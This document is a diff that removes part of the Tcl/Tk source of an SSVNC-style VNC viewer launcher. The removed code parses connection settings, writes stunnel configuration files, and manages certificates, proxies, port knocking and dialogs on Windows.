- catch {pack configure .b.certs -before .b.opts -side left -expand 1 -fill x}
- catch {.l configure -text $t}
- catch {.f0.l configure -text "VNC Host:Display"}
-
- #global started_with_noenc
- #if {$started_with_noenc} {
- # toggle_no_encryption
- #}
-
- global vncdisplay vncauth_passwd unixpw_username vncproxy remote_ssh_cmd
- set vncdisplay ""
- set vncauth_passwd ""
- set unixpw_username ""
- set vncproxy ""
- set remote_ssh_cmd ""
-
- set_defaults
-}
-
-proc launch {{hp ""}} {
- global tcl_platform is_windows
- global mycert svcert crtdir crlfil
- global pids_before pids_after pids_new
- global env
- global use_ssl use_ssh use_sshssl sshssl_sw use_listen disable_ssl_workarounds
- global vncdisplay
-
- set debug 0
- if {$hp == ""} {
- set hp [get_vncdisplay]
- }
-
- set hpt [string trim $hp]
- regsub {[ ].*$} $hpt "" hpt
-
-
- if {[regexp {^HOME=} $hpt] || [regexp {^SSVNC_HOME=} $hpt]} {
- set t $hpt
- regsub {^.*HOME=} $t "" t
- set t [string trim $t]
- set env(SSVNC_HOME) $t
- mesg "Set SSVNC_HOME to $t"
- set vncdisplay ""
- return 0
- }
- if {[regexp {^DISPLAY=} $hpt] || [regexp {^SSVNC_DISPLAY=} $hpt]} {
- set t $hpt
- regsub {^.*DISPLAY=} $t "" t
- set t [string trim $t]
- set env(DISPLAY) $t
- mesg "Set DISPLAY to $t"
- set vncdisplay ""
- global uname darwin_cotvnc
- if {$uname == "Darwin"} {
- if {$t != ""} {
- set darwin_cotvnc 0
- } else {
- set darwin_cotvnc 1
- }
- }
- return 0
- }
- if {[regexp {^DYLD_LIBRARY_PATH=} $hpt] || [regexp {^SSVNC_DYLD_LIBRARY_PATH=} $hpt]} {
- set t $hpt
- regsub {^.*DYLD_LIBRARY_PATH=} $t "" t
- set t [string trim $t]
- set env(DYLD_LIBRARY_PATH) $t
- set env(SSVNC_DYLD_LIBRARY_PATH) $t
- mesg "Set DYLD_LIBRARY_PATH to $t"
- set vncdisplay ""
- return 0
- }
- if {[regexp {^SLEEP=} $hpt] || [regexp {^SSVNC_EXTRA_SLEEP=} $hpt]} {
- set t $hpt
- regsub {^.*SLEEP=} $t "" t
- set t [string trim $t]
- set env(SSVNC_EXTRA_SLEEP) $t
- mesg "Set SSVNC_EXTRA_SLEEP to $t"
- set vncdisplay ""
- return 0
- }
- if {[regexp {^SSH=} $hpt]} {
- set t $hpt
- regsub {^.*SSH=} $t "" t
- set t [string trim $t]
- set env(SSH) $t
- mesg "Set SSH to $t"
- set vncdisplay ""
- return 0
- }
- if {[regexp {^FINISH=} $hpt] || [regexp {^SSVNC_FINISH_SLEEP=} $hpt]} {
- set t $hpt
- regsub {^.*=} $t "" t
- set t [string trim $t]
- set env(SSVNC_FINISH_SLEEP) $t
- mesg "Set SSVNC_FINISH_SLEEP to $t"
- set vncdisplay ""
- return 0
- }
- if {[regexp {^NO_DELETE=} $hpt] || [regexp {^SSVNC_NO_DELETE=} $hpt]} {
- set t $hpt
- regsub {^.*=} $t "" t
- set t [string trim $t]
- set env(SSVNC_NO_DELETE) $t
- mesg "Set SSVNC_NO_DELETE to $t"
- set vncdisplay ""
- return 0
- }
- if {[regexp {^BAT_SLEEP=} $hpt] || [regexp {^SSVNC_BAT_SLEEP=} $hpt]} {
- set t $hpt
- regsub {^.*=} $t "" t
- set t [string trim $t]
- set env(SSVNC_BAT_SLEEP) $t
- mesg "Set SSVNC_BAT_SLEEP to $t"
- set vncdisplay ""
- return 0
- }
- if {[regexp {^DEBUG_NETSTAT=} $hpt]} {
- set t $hpt
- regsub {^.*DEBUG_NETSTAT=} $t "" t
- global debug_netstat
- set debug_netstat $t
- mesg "Set DEBUG_NETSTAT to $t"
- set vncdisplay ""
- return 0
- }
- if {[regexp {^REPEATER_FORCE=} $hpt]} {
- set t $hpt
- regsub {^.*REPEATER_FORCE=} $t "" t
- set env(REPEATER_FORCE) $t
- mesg "Set REPEATER_FORCE to $t"
- set vncdisplay ""
- return 0
- }
- if {[regexp -nocase {^SSH.?ONLY} $hpt]} {
- global ssh_only
- if {$ssh_only} {
- return 0;
- }
- to_sshonly
-
- return 0
- }
- if {[regexp -nocase {^TS.?ONLY} $hpt]} {
- global ts_only
- if {$ts_only} {
- return 0;
- }
- to_tsonly
-
- return 0
- }
- if {[regexp -nocase {^IPV6=([01])} $hpt mv val]} {
- global env have_ipv6
- set have_ipv6 $val
- set env(SSVNC_IPV6) $val
- mesg "Set have_ipv6 to $val"
- set vncdisplay ""
- return 0
- }
- if {[regexp {^ENV=([A-z0-9][A-z0-9]*)=(.*)$} $hpt mv var val]} {
- global env
- if {$val == ""} {
- catch {unset env($var)}
- mesg "Unset $var"
- } else {
- set env($var) "$val"
- mesg "Set $var to $val"
- }
- set vncdisplay ""
- return 0
- }
-
- regsub {[ ]*cmd=.*$} $hp "" tt
-
- if {[regexp {^[ ]*$} $tt]} {
- mesg "No host:disp supplied."
- bell
- catch {raise .}
- mac_raise
- return
- }
- if {[regexp -- {--nohost--} $tt]} {
- mesg "No host:disp supplied."
- bell
- catch {raise .}
- mac_raise
- return
- }
- # XXX host_part
- if {! [regexp ":" $hp]} {
- if {! [regexp {cmd=} $hp]} {
- set s [string trim $hp]
- if {! [regexp { } $s]} {
- append hp ":0"
- } else {
- regsub { } $hp ":0 " hp
- }
- }
- }
-
- if {!$use_ssl && !$use_ssh && !$use_sshssl && $sshssl_sw == "none"} {
- regsub -nocase {^[a-z0-9+]*://} $hp "" hp
- set hp "Vnc://$hp"
- }
-
- mesg "Using: $hp"
- after 600
-
- set sc [get_ssh_cmd $hp]
- if {[regexp {^KNOCK} $sc]} {
- if [regexp {^KNOCKF} $sc] {
- port_knock_only $hp "FINISH"
- } else {
- port_knock_only $hp "KNOCK"
- }
- return
- }
-
- if {$debug} {
- mesg "\"$tcl_platform(os)\" | \"$tcl_platform(osVersion)\""
- after 1000
- }
-
- if [regexp {V[Nn][Cc]://} $hp] {
- set env(SSVNC_NO_ENC_WARN) 1
- regsub {V[Nn][Cc]://} $hp "vnc://" hp
- }
- regsub -nocase {^vnc://} $hp "vnc://" hp
- regsub -nocase {^vncs://} $hp "vncs://" hp
- regsub -nocase {^vncssl://} $hp "vncssl://" hp
- regsub -nocase {^vnc\+ssl://} $hp "vnc+ssl://" hp
- regsub -nocase {^vncssh://} $hp "vncssh://" hp
- regsub -nocase {^vnc\+ssh://} $hp "vnc+ssh://" hp
-
- if {! $is_windows} {
- launch_unix $hp
- return
- }
-
- ##############################################################
- # WINDOWS BELOW:
-
- if [regexp {^vnc://} $hp] {
- if {! [info exists env(SSVNC_NO_ENC_WARN)]} {
- direct_connect_msg
- }
- regsub {^vnc://} $hp "" hp
- direct_connect_windows $hp
- return
- } elseif [regexp {^vncs://} $hp] {
- set use_ssl 1
- set use_ssh 0
- regsub {^vncs://} $hp "" hp
- sync_use_ssl_ssh
- } elseif [regexp {^vncssl://} $hp] {
- set use_ssl 1
- set use_ssh 0
- regsub {^vncssl://} $hp "" hp
- sync_use_ssl_ssh
- } elseif [regexp {^vnc\+ssl://} $hp] {
- set use_ssl 1
- set use_ssh 0
- regsub {^vnc\+ssl://} $hp "" hp
- sync_use_ssl_ssh
- } elseif [regexp {^vncssh://} $hp] {
- set use_ssh 1
- set use_ssl 0
- regsub {vncssh://} $hp "" hp
- sync_use_ssl_ssh
- } elseif [regexp {^vnc\+ssh://} $hp] {
- set use_ssh 1
- set use_ssl 0
- regsub {^vnc\+ssh://} $hp "" hp
- sync_use_ssl_ssh
- }
-
- check_ssh_needed
-
- if {! $use_ssh} {
- if {$mycert != ""} {
- if {! [file exists $mycert]} {
- mesg "MyCert does not exist: $mycert"
- bell
- return
- }
- }
- if {$svcert != ""} {
- if {! [file exists $svcert]} {
- mesg "ServerCert does not exist: $svcert"
- bell
- return
- }
- } elseif {$crtdir != ""} {
- if {! [file exists $crtdir] && $crtdir != "ACCEPTED_CERTS"} {
- mesg "CertsDir does not exist: $crtdir"
- bell
- return
- }
- }
- if {$crlfil != ""} {
- if {! [file exists $crlfil]} {
- mesg "CRL File does not exist: $crlfil"
- bell
- return
- }
- }
- }
-
- # VF
- set prefix "stunnel-vnc"
- set suffix "conf"
- if {$use_ssh || $use_sshssl} {
- set prefix "plink_vnc"
- set suffix "bat"
- }
-
- set file1 ""
- set n1 ""
- set file2 ""
- set n2 ""
- set n3 ""
- set n4 ""
- set now [clock seconds]
-
- set proxy [get_ssh_proxy $hp]
- if {$use_sshssl} {
- set proxy ""
- }
- if {! [repeater_proxy_check $proxy]} {
- return
- }
-
- global port_slot
- if {$port_slot != ""} {
- set file1 "$prefix-$port_slot.$suffix"
- set n1 $port_slot
- set ps [expr $port_slot + 200]
- set file2 "$prefix-$ps.$suffix"
- set n2 $ps
- mesg "Using Port Slot: $port_slot"
- after 700
- }
-
- for {set i 30} {$i <= 99} {incr i} {
- set try "$prefix-$i.$suffix"
- if {$i == $port_slot} {
- continue
- }
- if {[file exists $try]} {
- set mt [file mtime $try]
- set age [expr "$now - $mt"]
- set week [expr "7 * 3600 * 24"]
- if {$age > $week} {
- catch {file delete $try}
- }
- }
- if {! [file exists $try]} {
- if {$file1 == ""} {
- set file1 $try
- set n1 $i
- } elseif {$file2 == ""} {
- set file2 $try
- set n2 $i
- } else {
- break
- }
- }
- }
-
- if {$file1 == ""} {
- mesg "could not find free stunnel file"
- bell
- return
- }
-
- if {$n1 == ""} {
- set n1 10
- }
- if {$n2 == ""} {
- set n2 11
- }
- set n3 [expr $n1 + 100]
- set n4 [expr $n2 + 100]
-
- global launch_windows_ssh_files
- set launch_windows_ssh_files ""
-
- set did_port_knock 0
-
- global listening_name
- set listening_name ""
-
- if {$use_ssh} {
- ;
- } elseif {$use_sshssl} {
- ;
- } elseif {$use_ssl} {
- if {$proxy != "" && [regexp {@} $proxy]} {
- mesg "Error: proxy contains '@' Did you mean to use SSH mode?"
- bell
- return
- }
- if [regexp {@} $hp] {
- mesg "Error: host contains '@' Did you mean to use SSH mode?"
- bell
- return
- }
- }
-
- global ssh_ipv6_pid
- set ssh_ipv6_pid ""
-
- if {$use_sshssl} {
- set rc [launch_windows_ssh $hp $file2 $n2]
- if {$rc == 0} {
- if {![info exists env(SSVNC_NO_DELETE)]} {
- catch {file delete $file1}
- catch {file delete $file2}
- }
- del_launch_windows_ssh_files
- return
- }
- set did_port_knock 1
- } elseif {$use_ssh} {
- launch_windows_ssh $hp $file1 $n1
- # WE ARE DONE.
- return
- }
-
- set host [host_part $hp];
- set host_orig $host
-
- global win_localhost
-
- if {$host == ""} {
- set host $win_localhost
- }
-
- if [regexp {^.*@} $host match] {
- catch {raise .; update}
- mesg "Trimming \"$match\" from hostname"
- after 700
- regsub {^.*@} $host "" host
- }
-
- set disp [port_part $hp]
- if {[regexp {^-[0-9][0-9]*$} $disp]} {
- ;
- } elseif {$disp == "" || ! [regexp {^[0-9][0-9]*$} $disp]} {
- set disp 0
- }
-
- if {$disp < 0} {
- set port [expr "- $disp"]
- } elseif {$disp < 200} {
- if {$use_listen} {
- set port [expr "$disp + 5500"]
- } else {
- set port [expr "$disp + 5900"]
- }
- } else {
- set port $disp
- }
-
- if {$debug} {
- mesg "file: $file1"
- after 1000
- }
-
- listen_verify_all_dialog $hp
-
- if {$use_listen && $mycert == ""} {
- if {! [check_for_listen_ssl_cert]} {
- return;
- }
- }
-
- set fail 0
-
- set fh [open $file1 "w"]
-
- if {$use_listen} {
- puts $fh "client = no"
- } else {
- puts $fh "client = yes"
- }
- global disable_ssl_workarounds disable_ssl_workarounds_type
- if {$disable_ssl_workarounds} {
- if {$disable_ssl_workarounds_type == "noempty"} {
- puts $fh "options = DONT_INSERT_EMPTY_FRAGMENTS"
- }
- } else {
- puts $fh "options = ALL"
- }
-
- puts $fh "taskbar = yes"
- puts $fh "RNDbytes = 2048"
- puts $fh "RNDfile = bananarand.bin"
- puts $fh "RNDoverwrite = yes"
- puts $fh "debug = 6"
-
- if {$mycert != ""} {
- if {! [file exists $mycert]} {
- mesg "MyCert does not exist: $mycert"
- bell
- set fail 1
- }
- puts $fh "cert = $mycert"
- } elseif {$use_listen} {
- # see above, this should not happen.
- puts $fh "cert = _nocert_"
- }
- if {$crlfil != ""} {
- if [file isdirectory $crlfil] {
- puts $fh "CRLpath = $crlfil"
- } else {
- puts $fh "CRLfile = $crlfil"
- }
- }
-
- set did_check 0
-
- if {$svcert != ""} {
- if {! [file exists $svcert]} {
- mesg "ServerCert does not exist: $svcert"
- bell
- set fail 1
- }
- puts $fh "CAfile = $svcert"
- puts $fh "verify = 2"
- } elseif {$crtdir != ""} {
- if {$crtdir == "ACCEPTED_CERTS"} {
- global skip_verify_accepted_certs
- set skip_verify_accepted_certs 0
- set did_check 1
- if {$use_sshssl} {
- set skip_verify_accepted_certs 1
- set did_check 0
- } elseif {! [check_accepted_certs 0]} {
- set fail 1
- }
- if {! $skip_verify_accepted_certs} {
- set adir [get_idir_certs ""]
- set adir "$adir/accepted"
- catch {file mkdir $adir}
- puts $fh "CApath = $adir"
- puts $fh "verify = 2"
- }
- } else {
- if {! [file exists $crtdir]} {
- mesg "CertsDir does not exist: $crtdir"
- bell
- set fail 1
- }
- puts $fh "CApath = $crtdir"
- puts $fh "verify = 2"
- }
- }
-
- if {!$did_check} {
- check_accepted_certs 1
- }
-
- if {$use_sshssl} {
- set p [expr "$n2 + 5900"]
- set proxy [maybe_add_vencrypt $proxy "$win_localhost:$p"]
- } else {
- set proxy [maybe_add_vencrypt $proxy $hp]
- }
-
- set ipv6_pid ""
- global have_ipv6
- if {$have_ipv6} {
- if {$proxy == "" && $use_ssl} {
- # stunnel can handle ipv6
- } else {
- set res [ipv6_proxy $proxy $host $port]
- set proxy [lindex $res 0]
- set host [lindex $res 1]
- set port [lindex $res 2]
- set ipv6_pid [lindex $res 3]
- }
- }
-
- set p_reverse 0
-
- if {$proxy != ""} {
- if {$use_sshssl} {
- ;
- } elseif [regexp {@} $proxy] {
- bell
- catch {raise .; update}
- mesg "WARNING: SSL proxy contains \"@\" sign"
- after 1500
- }
- set env(SSVNC_PROXY) $proxy
- set env(SSVNC_DEST) "$host:$port"
- if {$use_listen} {
- set env(SSVNC_REVERSE) "$win_localhost:$port"
- set env(CONNECT_BR_SLEEP) 3
- set p_reverse 1
- } else {
- if {$use_sshssl && [regexp {vencrypt:} $proxy]} {
- set env(SSVNC_LISTEN) [expr "$n4 + 5900"]
- } else {
- set env(SSVNC_LISTEN) [expr "$n2 + 5900"]
- }
- }
- if {[info exists env(PROXY_DEBUG)]} {
- foreach var [list SSVNC_PROXY SSVNC_DEST SSVNC_REVERSE CONNECT_BR_SLEEP SSVNC_LISTEN] {
- if [info exists env($var)] {
- mesg "$var $env($var)"; after 2500;
- }
- }
- }
- }
-
- global anon_dh_detected server_anondh
- if {$anon_dh_detected || $server_anondh} {
- puts $fh "ciphers = ALL:RC4+RSA:+SSLv2:@STRENGTH"
- set anon_dh_detected 0
- }
-
-
- puts $fh "\[vnc$n1\]"
- set port2 ""
- set port3 ""
- if {! $use_listen} {
- set port2 [expr "$n1 + 5900"]
- if [regexp {vencrypt:} $proxy] {
- set port3 [expr "$n3 + 5900"]
- set port2 $port3
- puts $fh "accept = $win_localhost:$port3"
- } else {
- puts $fh "accept = $win_localhost:$port2"
- }
-
- if {$use_sshssl && [regexp {vencrypt:} $proxy]} {
- set port [expr "$n4 + 5900"]
- puts $fh "connect = $win_localhost:$port"
- } elseif {$use_sshssl || $proxy != ""} {
- set port [expr "$n2 + 5900"]
- puts $fh "connect = $win_localhost:$port"
- } else {
- puts $fh "connect = $host:$port"
- }
- } else {
- set port2 [expr "$n1 + 5500"]
- set hloc ""
- if {$use_ssh} {
- # not reached?
- set hloc "$win_localhost:"
- set listening_name "$win_localhost:$port (on remote SSH side)"
- } else {
- set hn [get_hostname]
- if {$hn == ""} {
- set hn "this-computer"
- }
- set listening_name "$hn:$port (or nn.nn.nn.nn:$port, etc.)"
- }
- if {$host_orig != "" && $hloc == ""} {
- set hloc "$host_orig:"
- }
- puts $fh "accept = $hloc$port"
- puts $fh "connect = $win_localhost:$port2"
- }
-
- puts $fh "delay = no"
- puts $fh ""
- close $fh
-
- if {! $did_port_knock} {
- if {! [do_port_knock $host start]} {
- set fail 1
- }
- set did_port_knock 1
- }
-
- if {$fail} {
- if {![info exists env(SSVNC_NO_DELETE)]} {
- catch {file delete $file1}
- }
- catch { unset env(SSVNC_PROXY) }
- catch { unset env(SSVNC_LISTEN) }
- catch { unset env(SSVNC_REVERSE) }
- catch { unset env(SSVNC_DEST) }
- catch { unset env(SSVNC_PREDIGESTED_HANDSHAKE) }
- catch { unset env(CONNECT_BR_SLEEP) }
- winkill $ipv6_pid
- winkill $ssh_ipv6_pid
- set ssh_ipv6_pid ""
- return
- }
-
- note_stunnel_pids "before"
-
- set proxy_pid ""
- set proxy_pid2 ""
-
- if {$use_listen} {
- windows_listening_message $n1
- }
-
- if {$proxy != ""} {
- if [regexp {vencrypt:} $proxy] {
- set vport [expr "$n1 + 5900"]
- mesg "Starting VeNCrypt helper on port $vport,$port3 ..."
- after 500
- if {![info exists env(SSVNC_NO_DELETE)]} {
- catch {file delete "$file1.pre"}
- }
- set env(SSVNC_PREDIGESTED_HANDSHAKE) "$file1.pre"
- set env(SSVNC_VENCRYPT_VIEWER_BRIDGE) "$vport,$port3"
- set proxy_pid2 [exec "connect_br.exe" &]
- catch { unset env(SSVNC_VENCRYPT_VIEWER_BRIDGE) }
- }
- mesg "Starting TCP helper on port $port ..."
- after 400
- # ssl br case:
- set proxy_pid [exec "connect_br.exe" &]
- catch { unset env(SSVNC_PROXY) }
- catch { unset env(SSVNC_LISTEN) }
- catch { unset env(SSVNC_REVERSE) }
- catch { unset env(SSVNC_DEST) }
- catch { unset env(SSVNC_PREDIGESTED_HANDSHAKE) }
- catch { unset env(CONNECT_BR_SLEEP) }
- }
-
- mesg "Starting STUNNEL on port $port2 ..."
- after 500
-
- set pids [exec stunnel $file1 &]
-
- if {! $p_reverse} {
- after 300
- set vtm [vencrypt_tutorial_mesg]
- if {$vtm == ""} {
- after 300
- }
- }
-
- note_stunnel_pids "after"
-
- if {$debug} {
- after 1000
- mesg "pids $pids"
- after 1000
- } else {
- catch {destroy .o}
- catch {destroy .oa}
- catch {destroy .os}
- wm withdraw .
- }
-
- do_viewer_windows $n1
-
- del_launch_windows_ssh_files
-
- if {![info exists env(SSVNC_NO_DELETE)]} {
- catch {file delete $file1}
- }
-
- if {$debug} {
- ;
- } else {
- wm deiconify .
- }
- mesg "Disconnected from $hp."
-
- global port_knocking_list
- if [regexp {FINISH} $port_knocking_list] {
- do_port_knock $host finish
- }
-
- if {[llength $pids_new] > 0} {
- set plist [join $pids_new ", "]
- global terminate_pids
- set terminate_pids ""
- global kill_stunnel
- if {$kill_stunnel} {
- set terminate_pids yes
- } else {
- win_kill_msg $plist
- update
- vwait terminate_pids
- }
- if {$terminate_pids == "yes"} {
- kill_stunnel $pids_new
- }
- } else {
- win_nokill_msg
- }
- mesg "Disconnected from $hp."
- winkill $ipv6_pid
- winkill $ssh_ipv6_pid
- set ssh_ipv6_pid ""
-
- global is_win9x use_sound sound_daemon_local_kill sound_daemon_local_cmd
- if {! $is_win9x && $use_sound && $sound_daemon_local_kill && $sound_daemon_local_cmd != ""} {
- windows_stop_sound_daemon
- }
-}
-
-proc direct_connect_windows {{hp ""}} {
- global tcl_platform is_windows
- global env use_listen
-
- set proxy [get_ssh_proxy $hp]
-
- set did_port_knock 0
-
- global listening_name
- set listening_name ""
-
- set host [host_part $hp]
-
- set host_orig $host
-
- global win_localhost
- if {$host == ""} {
- set host $win_localhost
- }
-
- if [regexp {^.*@} $host match] {
- catch {raise .; update}
- mesg "Trimming \"$match\" from hostname"
- after 700
- regsub {^.*@} $host "" host
- }
-
- set disp [port_part $hp]
- if {[regexp {^-[0-9][0-9]*$} $disp]} {
- ;
- } elseif {$disp == "" || ! [regexp {^[0-9][0-9]*$} $disp]} {
- set disp 0
- }
-
- if {$disp < 0} {
- set port [expr "- $disp"]
- } elseif {$disp < 200} {
- if {$use_listen} {
- set port [expr "$disp + 5500"]
- } else {
- set port [expr "$disp + 5900"]
- }
- } else {
- set port $disp
- }
-
- global have_ipv6
- set ipv6_pid ""
- if {$have_ipv6 && !$use_listen} {
- set res [ipv6_proxy $proxy $host $port]
- set proxy [lindex $res 0]
- set host [lindex $res 1]
- set port [lindex $res 2]
- set ipv6_pid [lindex $res 3]
- }
-
- if {$proxy != ""} {
- if [regexp {@} $proxy] {
- bell
- catch {raise .; update}
- mesg "WARNING: SSL proxy contains \"@\" sign"
- after 1500
- }
- set n2 45
-
- set env(SSVNC_PROXY) $proxy
- set env(SSVNC_LISTEN) [expr "$n2 + 5900"]
- set env(SSVNC_DEST) "$host:$port"
-
- set port [expr $n2 + 5900]
- set host $win_localhost
- }
-
- set fail 0
- if {! $did_port_knock} {
- if {! [do_port_knock $host start]} {
- set fail 1
- }
- set did_port_knock 1
- }
-
- if {$fail} {
- catch { unset env(SSVNC_PROXY) }
- catch { unset env(SSVNC_LISTEN) }
- catch { unset env(SSVNC_DEST) }
- winkill $ipv6_pid
- return
- }
-
- set proxy_pid ""
- if {$proxy != ""} {
- mesg "Starting Proxy TCP helper on port $port ..."
- after 400
- # unencrypted br case:
- set proxy_pid [exec "connect_br.exe" &]
- catch { unset env(SSVNC_PROXY) }
- catch { unset env(SSVNC_LISTEN) }
- catch { unset env(SSVNC_DEST) }
- }
-
- vencrypt_tutorial_mesg
-
- catch {destroy .o}
- catch {destroy .oa}
- catch {destroy .os}
- wm withdraw .
-
- if {$use_listen} {
- set n $port
- if {$n >= 5500} {
- set n [expr $n - 5500]
- }
- global direct_connect_reverse_host_orig
- set direct_connect_reverse_host_orig $host_orig
-
- do_viewer_windows "$n"
-
- set direct_connect_reverse_host_orig ""
- } else {
- if {$port >= 5900 && $port < 6100} {
- set port [expr $port - 5900]
- }
- do_viewer_windows "$host:$port"
- }
-
- wm deiconify .
-
- mesg "Disconnected from $hp."
-
- winkill $ipv6_pid
-
- global port_knocking_list
- if [regexp {FINISH} $port_knocking_list] {
- do_port_knock $host finish
- }
-
- mesg "Disconnected from $hp."
-}
-
-proc get_idir_certs {str} {
- global is_windows env
- set idir ""
- if {$str != ""} {
- if [file isdirectory $str] {
- set idir $str
- } else {
- set idir [file dirname $str]
- }
- if {$is_windows} {
- regsub -all {\\} $idir "/" idir
- regsub -all {//*} $idir "/" idir
- }
- }
- if {$idir == ""} {
- if {$is_windows} {
- if [info exists env(SSVNC_HOME)] {
- set t "$env(SSVNC_HOME)/ss_vnc"
- regsub -all {\\} $t "/" t
- regsub -all {//*} $t "/" t
- if {! [file isdirectory $t]} {
- catch {file mkdir $t}
- }
- set t "$env(SSVNC_HOME)/ss_vnc/certs"
- regsub -all {\\} $t "/" t
- regsub -all {//*} $t "/" t
- if {! [file isdirectory $t]} {
- catch {file mkdir $t}
- }
- if [file isdirectory $t] {
- set idir $t
- }
- }
- if {$idir == ""} {
- set t [file dirname [pwd]]
- set t "$t/certs"
- if [file isdirectory $t] {
- set idir $t
- }
- }
- }
- if {$idir == ""} {
- if [info exists env(SSVNC_HOME)] {
- set t "$env(SSVNC_HOME)/.vnc"
- if {! [file isdirectory $t]} {
- catch {file mkdir $t}
- }
- set t "$env(SSVNC_HOME)/.vnc/certs"
- if {! [file isdirectory $t]} {
- catch {file mkdir $t}
- }
- if [file isdirectory $t] {
- set idir $t
- }
- }
- }
- }
- if {$idir == ""} {
- if {$is_windows} {
- set idir [get_profiles_dir]
- }
- if {$idir == ""} {
- set idir [pwd]
- }
- }
- return $idir
-}
-
-proc delete_cert {{parent "."}} {
- set idir [get_idir_certs ""]
- set f ""
- unix_dialog_resize $parent
- if {$idir != ""} {
- set f [tk_getOpenFile -parent $parent -initialdir $idir]
- } else {
- set f [tk_getOpenFile -parent $parent]
- }
- if {$f != "" && [file exists $f]} {
- set reply [tk_messageBox -parent $parent -type yesno -icon question -title "Delete Cert" -message "Delete $f"]
- if {$reply == "yes"} {
- global mycert svcert crlfil
- set f_text [read_file $f]
- set f2 ""
- catch {file delete $f}
- if {$f == $mycert} { set mycert "" }
- if {$f == $svcert} { set svcert "" }
- if {$f == $crlfil} { set crlfil "" }
- if [regexp {\.crt$} $f] {
- regsub {\.crt$} $f ".pem" f2
- } elseif [regexp {\.pem$} $f] {
- regsub {\.pem$} $f ".crt" f2
- }
- if {$f2 != "" && [file exists $f2]} {
- set reply [tk_messageBox -parent $parent -type yesno -icon question -title "Delete Cert" -message "Delete $f2"]
- if {$reply == "yes"} {
- catch {file delete $f2}
- if {$f2 == $mycert} { set mycert "" }
- if {$f2 == $svcert} { set svcert "" }
- if {$f2 == $crlfil} { set crlfil "" }
- }
- }
- set dir [file dirname $f]
- if {$f_text != "" && [regexp {accepted$} $dir]} {
- foreach crt [glob -nocomplain -directory $dir {*.crt} {*.pem} {*.[0-9]}] {
- #puts "try $crt"
- set c_text [read_file $crt]
- if {$c_text == ""} {
- continue
- }
- if {$c_text != $f_text} {
- continue
- }
- set reply [tk_messageBox -parent $parent -type yesno -icon question -title "Delete Identical Cert" -message "Delete Identical $crt"]
- if {$reply == "yes"} {
- catch {file delete $crt}
- }
- }
- }
- }
- }
- catch {wm deiconify .c}
- update
-}
-
-proc set_mycert {{parent "."}} {
- global mycert
- set idir [get_idir_certs $mycert]
- set t ""
- unix_dialog_resize $parent
- if {$idir != ""} {
- set t [tk_getOpenFile -parent $parent -initialdir $idir]
- } else {
- set t [tk_getOpenFile -parent $parent]
- }
- if {$t != ""} {
- set mycert $t
- }
- catch {wm deiconify .c}
- v_mycert
- update
-}
-
-proc set_crlfil {{parent "."}} {
- global crlfil
- set idir [get_idir_certs $crlfil]
- set t ""
- unix_dialog_resize $parent
- if {$idir != ""} {
- set t [tk_getOpenFile -parent $parent -initialdir $idir]
- } else {
- set t [tk_getOpenFile -parent $parent]
- }
- if {$t != ""} {
- set crlfil $t
- }
- catch {wm deiconify .c}
- v_crlfil
- update
-}
-
-proc set_ultra_dsm_file {{parent "."}} {
- global ultra_dsm_file
- set idir [get_idir_certs $ultra_dsm_file]
- set t ""
- unix_dialog_resize $parent
- if {$idir != ""} {
- set t [tk_getOpenFile -parent $parent -initialdir $idir]
- } else {
- set t [tk_getOpenFile -parent $parent]
- }
- if {$t != ""} {
- set ultra_dsm_file $t
- }
- update
-}
-
-proc set_ssh_known_hosts_file {{parent "."}} {
- global ssh_known_hosts_filename is_windows uname
-
- if {$ssh_known_hosts_filename == ""} {
- set pdir [get_profiles_dir]
- set pdir "$pdir/ssh_known_hosts"
- catch {file mkdir $pdir}
-
- global last_load
- if {![info exists last_load]} {
- set last_load ""
- }
- if {$last_load != ""} {
- set dispf [string trim $last_load]
- set dispf [file tail $dispf]
-
- regsub {\.vnc$} $dispf "" dispf
- if {![regexp {\.known$} $dispf]} {
- set dispf "$dispf.known"
- }
- set guess $dispf
- } else {
- set vncdisp [get_vncdisplay]
- set dispf [string trim $vncdisp]
- if {$dispf != ""} {
- regsub {[ ].*$} $dispf "" dispf
- regsub -all {/} $dispf "" dispf
- } else {
- set dispf "unique-name-here"
- }
- if {$is_windows || $uname == "Darwin"} {
- regsub -all {:} $dispf "-" dispf
- } else {
- regsub -all {:} $dispf "-" dispf
- }
- if {![regexp {\.known$} $dispf]} {
- set dispf "$dispf.known"
- }
- set guess $dispf
- }
- } else {
- set pdir [file dirname $ssh_known_hosts_filename]
- set guess [file tail $ssh_known_hosts_filename]
- }
-
- set t ""
- unix_dialog_resize $parent
- if {$pdir != ""} {
- set t [tk_getSaveFile -parent $parent -initialdir $pdir -initialfile $guess]
- } else {
- set t [tk_getSaveFile -parent $parent -initialfile $guess]
- }
- if {$t != ""} {
- set ssh_known_hosts_filename $t
- }
- update
-}
-
-proc show_cert {crt} {
- if {$crt == ""} {
- bell
- return
- }
- if {! [file exists $crt]} {
- bell
- return
- }
- set info ""
- catch {set info [get_x509_info $crt]}
- if {$info == ""} {
- bell
- return
- }
-
- set w .show_certificate
- toplev $w
- scroll_text $w.f
- button $w.b -text Dismiss -command "destroy $w"
- bind $w <Escape> "destroy $w"
- $w.f.t insert end $info
-
- pack $w.b -side bottom -fill x
- pack $w.f -side top -fill both -expand 1
- center_win $w
- catch {raise $w}
-}
-
-proc show_crl {crl} {
- if {$crl == ""} {
- bell
- return
- }
- if {! [file exists $crl]} {
- bell
- return
- }
-
- set flist [list]
-
- if [file isdirectory $crl] {
- foreach cfile [glob -nocomplain -directory $crl "*"] {
- if [file isfile $cfile] {
- lappend flist $cfile
- }
- }
- } else {
- lappend flist $crl
- }
-
- set ossl [get_openssl]
- set info ""
-
- foreach cfile $flist {
- catch {
- set ph [open "| $ossl crl -fingerprint -text -noout -in \"$cfile\"" "r"]
- while {[gets $ph line] > -1} {
- append info "$line\n"
- }
- close $ph
- append info "\n"
- }
- }
-
- set w .show_crl
- toplev $w
- scroll_text $w.f
- button $w.b -text Dismiss -command "destroy $w"
- bind $w <Escape> "destroy $w"
- $w.f.t insert end $info
-
- pack $w.b -side bottom -fill x
- pack $w.f -side top -fill both -expand 1
- center_win $w
- catch {raise $w}
-}
-
-proc v_svcert {} {
- global svcert
- if {$svcert == "" || ! [file exists $svcert]} {
- catch {.c.svcert.i configure -state disabled}
- } else {
- catch {.c.svcert.i configure -state normal}
- }
- no_certs_tutorial_mesg
- return 1
-}
-
-proc v_mycert {} {
- global mycert
- if {$mycert == "" || ! [file exists $mycert]} {
- catch {.c.mycert.i configure -state disabled}
- } else {
- catch {.c.mycert.i configure -state normal}
- }
- return 1
-}
-
-proc v_crlfil {} {
- global crlfil
